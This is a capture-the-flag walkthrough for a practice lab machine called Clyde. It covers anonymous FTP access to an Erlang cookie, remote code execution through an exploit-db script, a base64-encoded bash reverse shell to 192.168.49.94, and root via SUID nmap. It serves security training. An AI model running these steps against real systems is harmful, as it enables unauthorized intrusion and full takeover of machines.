> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/try-harder/clyde.md).

# Clyde

### Enumeration

```
4369/tcp  open   epmd       Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    rabbit: 65000
```

```
21/tcp    open   ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ...
| drwxr-xr-x    3 ftp      ftp          4096 May 08  2020 rabbitmq
| ...
```

FTP - Anonymous Access

.erlang.cookie is in rabbitmq directory.

.erlang.cookie - \[REDACTED]

### Initial Access

Erlang Cookie - Remote Code Execution

<https://www.exploit-db.com/exploits/49418>

```
$ python3 49418
...
TARGET = "192.168.94.68"
PORT = 65000
COOKIE = [REDACTED]
CMD = "id"
...
```

```
/bin/bash -i >& /dev/tcp/192.168.49.94/80 0>&1 - Base64 encoded

#Send these commands one by one
CMD = "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDkuOTQvODAgMD4mMQ== | base64 -d > shell.sh"
CMD = "bash shell"
```

### PrivEsc

```
rabbitmq@clyde:/$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/nmap
...
```

<https://gtfobins.github.io/gtfobins/nmap/#shell>

```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
```